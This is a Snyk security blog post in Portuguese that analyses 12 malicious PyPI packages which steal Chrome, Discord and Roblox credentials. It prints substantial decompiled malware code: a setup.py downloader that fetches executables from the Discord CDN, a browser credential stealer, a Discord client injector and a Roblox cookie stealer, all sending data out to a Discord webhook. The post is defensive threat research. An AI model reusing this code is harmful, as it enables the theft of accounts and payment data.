A Snyk encontra malware PyPi que rouba dados de login e pagamento do Discord e do Roblox
Kyle Suero
16 de agosto de 2022
0 minutos de leituraOs pesquisadores de segurança da Snyk monitoram continuamente ecossistemas de código aberto em busca de pacotes maliciosos, utilizando técnicas de análise estática para identificar e sinalizar pacotes suspeitos. Cada pacote malicioso é identificado após a publicação no gerenciador de pacotes e adicionado rapidamente ao Banco de Dados de Vulnerabilidades da Snyk. Em uma pesquisa recente, a equipe descobriu 12 partes de malware que pertenciam ao mesmo invasor. Esses pacotes maliciosos tentaram evitar a detecção enquanto se infiltravam em máquinas do Windows e executavam arquivos executáveis maliciosos, baixados da rede de distribuição de conteúdo (CDN) do Discord (um aplicativo de bate-papo online popular) para o host.
Esses pacotes utilizaram o PyInstaller para agrupar um aplicativo malicioso e suas dependências em um único pacote. O PyInstaller tinha dois propósitos: inibir a detecção agrupando dependências em vez de baixá-las de um servidor remoto para o host e fornecer um arquivo executável que estivesse pronto para executar sem um interpretador.
O malware ataca dados que são armazenados para aplicativos de uso diário. Após a execução, ele tenta roubar dados do Google Chrome (senhas, cookies, histórico da web, histórico de pesquisa e favoritos). Os dados são um alvo comum para invasores mal-intencionados, que podem utilizá-los para entrar em contas com as credenciais obtidas.
O Discord, dada a sua popularidade, também é um alvo. O malware extrai tokens do Discord e injeta um agente malicioso persistente no processo. O código malicioso, conhecido como Discord Injector, pode transferir uma quantidade alarmante de conteúdo para o invasor. Além de compartilhar credenciais, ele extrai informações de cartões de crédito inseridas após o injetor ser carregado.
Outro detalhe interessante sobre esse malware é que ele usa recursos do Discord para distribuir arquivos executáveis. Embora essa prática não seja nova, ver cdn.discord.com
alertou nossos pesquisadores de segurança. Os binários são inseridos no host pelo CDN do Discord.
Como exemplo, vamos ilustrar o pacote cyphers
para analisar sua estrutura e seus modos de operação. O malware consiste em dois executáveis.
ZYXMN.exe
- extrai dados privados do Discord, vaza credenciais e informações confidenciais do navegador e injeta o malware do Discord no próprio aplicativo.ZYRBX.exe
- rouba cookies e dados de usuários do Roblox.
Demonstração de pacote: cyphers
Depois de baixar o tarball do pacote e extraí-lo, observamos que o arquivo setup.py
tem algumas características incomuns (algumas partes foram omitidas para não nos estendermos muito):
1url = 'https://cdn.discordapp.com/attachments/1003368479442874518/1003368774335991898/ZYXMN.exe'
2url2 = 'https://cdn.discordapp.com/attachments/1003368479442874518/1003368773983682592/ZYRBX.exe'
3
4os.remove(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe")
5os.remove(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
6
7r = requests.get(url, allow_redirects=True)
8r2 = requests.get(url2, allow_redirects=True)
9open('ZYXMN.exe', 'wb').write(r.content)
10Path(r"ZYXMN.exe").rename(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe")
11open('ZYRBX.exe', 'wb').write(r2.content)
12Path(r"ZYRBX.exe").rename(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
13os.remove('ZYRBX.exe')
14os.remove('ZYXMN.exe')
15
16os.startfile(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe") os.startfile(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
17
18shutil.rmtree(r"C:\$Windows.~SXK")
Podemos ver que ele tenta baixar dois binários, ZYXMN.exe
e ZYRBX.exe
, de um CDN do Discord, mascara ambos como executáveis arbitrários do Windows e, por fim, executa-os. Após a execução, os arquivos são excluídos do sistema de arquivos para cobrir os rastros.
Vamos descobrir o que fazem esses executáveis.
ZYXMN.exe
Depois de executar binwalk
e strings
no binário, vimos que ele foi criado com o PyInstaller, uma biblioteca que agrupa um aplicativo inteiro em python, com dependências de runtime e tudo mais, em um único arquivo executável baseado no OS.
Esses arquivos podem ser extraídos usando extremecoders-re/pyinstxtractor. Enquanto listávamos os arquivos, identificamos ZYXMN.pyc
, um bytecode compilado de Python que é o ponto de entrada do aplicativo. Ao descompilá-lo com rocky/python-uncompyle6, encontramos os segredos ocultos do pacote malicioso.
main()
1def main() -> None:
2 webhook = 'https://discord.com/api/webhooks/1003603061530431539/mAOhFLrtafsu1jC3G1_nRR5by1zBTtd4xxdxZPVFkOlCUqMeze6TcUQ3zbR9zVsvG5-m'
3 pingmsg = 'soulcord run da wrld'
4 greenhillzone = {'content': f"@everyone {pingmsg}"}
5 requests.post(webhook, json=greenhillzone)
6 debug()
7 threads = []
8 for operation in (
9 discord, google, injection):
10 thread = Thread(target=operation, args=(webhook,))
11 thread.start()
12 threads.append(thread)
13 else:
14 for thread in threads:
15 thread.join()
16 else:
17 system(webhook)
"A função principal executa essencialmente três ‘operações’ (threads) que buscam realizar uma parte do conteúdo. Todas recebem um argumento webhook
usado para vazar os resultados da operação. Podemos ver que ele também é executado em um URL do Discord (discord.com
).
1class google:
2 def __init__(self, webhook: str) -> None:
3 webhook = Webhook.from_url(webhook, adapter=(RequestsWebhookAdapter()))
4 self.appdata = os.getenv('LOCALAPPDATA')
5 self.databases = {
6 self.appdata + '\\Google\\Chrome\\User Data\\Default',
7 self.appdata + '\\Google\\Chrome\\User Data\\Profile 1',
8 self.appdata + '\\Google\\Chrome\\User Data\\Profile 2',
9 self.appdata + '\\Google\\Chrome\\User Data\\Profile 3',
10 self.appdata + '\\Google\\Chrome\\User Data\\Profile 4',
11 self.appdata + '\\Google\\Chrome\\User Data\\Profile 5'}
12 self.masterkey = self.get_master_key(self.appdata + '\\Google\\Chrome\\User Data\\Local State')
13 self.files = [
14 '.\\nrozi3tvz1x7df3I-p.txt',
15 '.\\JN6Kq3DLrH6eJ8px-c.txt',
16 '.\\MVvztUI6Dyc1iHIB-wh.txt',
17 '.\\jDW68AZgMg9PUg1O-h.txt',
18 '.\\elr6GRUCz1eKhT0q-b.txt']
19 self.password()
20 self.cookies()
21 self.web_history()
22 self.search_history()
23 for file in self.files:
24 if not os.path.isfile(file):
25 pass
26 elif os.path.getsize(file) > 8000000:
27 pass
28 else:
29 webhook.send(file=(File(file)), username='Empyrean', avatar_url='https://i.imgur.com/HjzfjfR.png')
30 else:
31 for file in self.files:
32 if os.path.isfile(file):
33 os.remove(file)
O malware tenta descriptografar a chave mestre do Google, acessar os bancos de dados locais do navegador e vazar os seguintes dados do usuário:
Cookies
Histórico da web
Histórico de pesquisa
Injeção
1def __init__(self, webhook: str):
2 self.appdata = os.getenv('LOCALAPPDATA')
3 self.discord_dirs = [
4 self.appdata + '\\Discord',
5 self.appdata + '\\DiscordCanary',
6 self.appdata + '\\DiscordPTB',
7 self.appdata + '\\DiscordDevelopment']
8 self.code = "\n\t\tconst _0x25b1bd=_0x16c5;..."
9 for dir in self.discord_dirs:
10 if not os.path.exists(dir):
11 pass
12 elif self.get_core(dir) is not None:
13 with open((self.get_core(dir)[0] + '\\index.js'), 'w', encoding='utf-8') as (f):
14 f.write(self.code.replace('discord_desktop_core-1', self.get_core(dir)[1]).replace('%WEBHOOK%', webhook))
15 self.start_discord(dir)
O código tenta criar um arquivo chamado index.js
no diretório discord_desktop_core
com o conteúdo contido na propriedade self.code
e executar o aplicativo Discord. Isso permite que o script seja executado no contexto do aplicativo.
Depois de soltar a cadeia de caracteres em um arquivo e analisar o conteúdo, percebemos que ele é obtido do repositório Rdimo/Discord-Injection, que contém um script malicioso usado para capturar dados privados de usuários do Discord.
ZYRBX.exe
Seguimos o mesmo processo para extrair o código-fonte em Python desse binário, assim como fizemos com o anterior. O código malicioso executa o seguinte bloco de código em diferentes tipos de navegadores:
1url = 'https://discord.com/api/webhooks/1003603061530431539/mAOhFLrtafsu1jC3G1_nRR5by1zBTtd4xxdxZPVFkOlCUqMeze6TcUQ3zbR9zVsvG5-m'
2 site = 'roblox.com'
3 if site == 'roblox.com':
4 try:
5 cookiesall = browser_cookie3.edge(domain_name=site)
6 cookiesall = str(cookiesall)
7 roblosec = cookiesall.split('.ROBLOSECURITY=')[1].split(' for .roblox.com/>')[0].strip()
8 req = requests.Session()
9 req.cookies['.ROBLOSECURITY'] = roblosec
10 user = req.get('https://www.roblox.com/mobileapi/userinfo').json()['UserName']
11 ID = req.get('https://www.roblox.com/mobileapi/userinfo').json()['UserID']
12 robux = req.get('https://www.roblox.com/mobileapi/userinfo').json()['RobuxBalance']
13 Avatar = req.get('https://www.roblox.com/mobileapi/userinfo').json()['ThumbnailUrl']
14 prem = req.get('https://www.roblox.com/mobileapi/userinfo').json()['IsPremium']
15 embed = {'title':'Cookie Found',
16 'description':f"**Cookie Source:**\n\t\t\t\t\t\t<:edge:917804139860361216> Microsoft Edge\n\n\t\t\t\t\t\t**Cookie:**\n\t\t\t\t\t\t```{roblosec}```",
17 'color':0,
18 'thumbnail':{'url': Avatar}}
19 data = {'embeds': [embed]}
20 requests.post(url, json=data)
21 embed2 = {'title':'Cookie Information',
22 'description':f"**Username:** ``{user}``\n\t\t\t\t\t\t**Robux Balance:** ``{robux}``\n\t\t\t\t\t\t**User ID:** ``{ID}``\n\t\t\t\t\t\t**Premium:** ``{prem}``\n\t\t\t\t\t\t**Profile Link:** ``https://www.roblox.com/users/{ID}/profile``",
23 'color':0,
24 'thumbnail':{'url': Avatar}}
25 data2 = {'embeds': [embed2]}
26 requests.post(url, json=data2)
Este bloco de código rouba o cookie .ROBLOSECURITY
da plataforma de jogos online “Roblox” e o envia para um webhook do Discord junto com os detalhes do usuário: nome de usuário, ID, saldo de Robux (moeda usada nos jogos da Roblox), miniatura e indicador de usuário Premium. Ele tenta fazer isso nos seguintes navegadores: Microsoft Edge, Google Chrome, Chromium, Firefox e Opera.
Resumo das descobertas
No total, 12 pacotes foram identificados como maliciosos do mesmo invasor:
Nome do pacote | Versão | Descrição | Executável malicioso | Horário do upload |
---|---|---|---|---|
hackerfilelol | 0.0.1 | Este é o module\\n\\ngang do pro hacker | \*Main.exe | 31 de julho de 2022, às 16h23 |
hackerfileloll | 0.0.1 | Este é o module\\n\\ngang do pro hacker | \*Main.exe | 31 de julho de 2022, às 16h27 |
stealthpy | 0.0.1 | gang | ZYXM.exe, ZYRBX.exe | 31 de julho de 2022, às 18h32 |
plutos | 0.0.1 | Módulo básico usado para gerenciar várias threads ao mesmo tempo com mais eficiência. Para obter ajuda com o módulo, fale conosco. | ZYXM.exe, ZYRBX.exe | 31 de julho de 2022, às 21h01 |
testpipper | 0.0.1 | Módulo básico usado para gerenciar várias threads ao mesmo tempo com mais eficiência. Para obter ajuda com o módulo, fale conosco. | ZYXM.exe, ZYRBX.exe | 1º de agosto de 2022, às 11h27 |
testpipperz | 0.0.1 | Módulo básico usado para gerenciar várias threads ao mesmo tempo com mais eficiência. Para obter ajuda com o módulo, fale conosco. | ZYXM.exe, ZYRBX.exe | 1º de agosto de 2022, às 11h33 |
pippytest | 0.0.1 | Módulo básico usado para gerenciar várias threads ao mesmo tempo com mais eficiência. Para obter ajuda com o módulo, fale conosco. | ZYXM.exe, ZYRBX.exe | 1º de agosto de 2022, às 11h35 |
pippytests | 0.0.1 | Módulo básico usado para gerenciar várias threads ao mesmo tempo com mais eficiência. | ZYXM.exe, ZYRBX.exe | 1º de agosto de 2022, às 12h16 |
cyphers | 0.0.1 | Módulo básico usado para gerenciar várias threads ao mesmo tempo com mais eficiência. Para obter ajuda com o módulo, fale conosco. | ZYXM.exe, ZYRBX.exe | 1º de agosto de 2022, às 12h27 |
rblxtools | 0.0.1 | Módulo básico para usar várias ferramentas do Roblox com maior facilidade, baseado principalmente na biblioteca de solicitações. Para obter ajuda com o módulo, fale conosco. | ZYXM.exe, ZYRBX.exe | 1º de agosto de 2022, às 19h14 |
rbxtools | 0.0.1 | Módulo básico para usar várias ferramentas do Roblox com maior facilidade, baseado principalmente na biblioteca de solicitações. Para obter ajuda com o módulo, fale conosco. | ZYXM.exe, ZYRBX.exe | 1º de agosto de 2022, às 19h22 |
rbxtool | 0.0.1 | Módulo básico para usar várias ferramentas do Roblox com maior facilidade, baseado principalmente na biblioteca de solicitações. Para obter ajuda com o módulo, fale conosco. \*Main.exe - idêntico ao | ZYXM.exe, ZYRBX.exe | 1º de agosto de 2022, às 19h26 |
Como a equipe de pesquisa em segurança da Snyk usa técnicas avançadas para identificar e monitorar atividades suspeitas em vários ecossistemas de pacotes, fazemos o nosso melhor para informar às nossas autoridades, à comunidade e aos nossos usuários o mais rapidamente possível. Acreditamos que esse trabalho seja fundamental para tornar o software de código aberto, e a tecnologia em si, mais seguros.
Para colher os frutos da nossa pesquisa de ponta, abra uma conta Snyk grátis hoje mesmo. Com inteligência de segurança líder do setor, a Snyk encontra vulnerabilidades em dependências de código aberto, código proprietário, imagens de base e infraestrutura de nuvem, fornecendo recomendações de correções acionáveis (incluindo solicitações de pull de correção em um clique) para que você possa programar rapidamente e se manter em segurança.
Primeiros passos com Capture the Flag
Saiba como resolver desafios de Capture the Flag assistindo ao nosso workshop virtual de conceitos básicos sob demanda.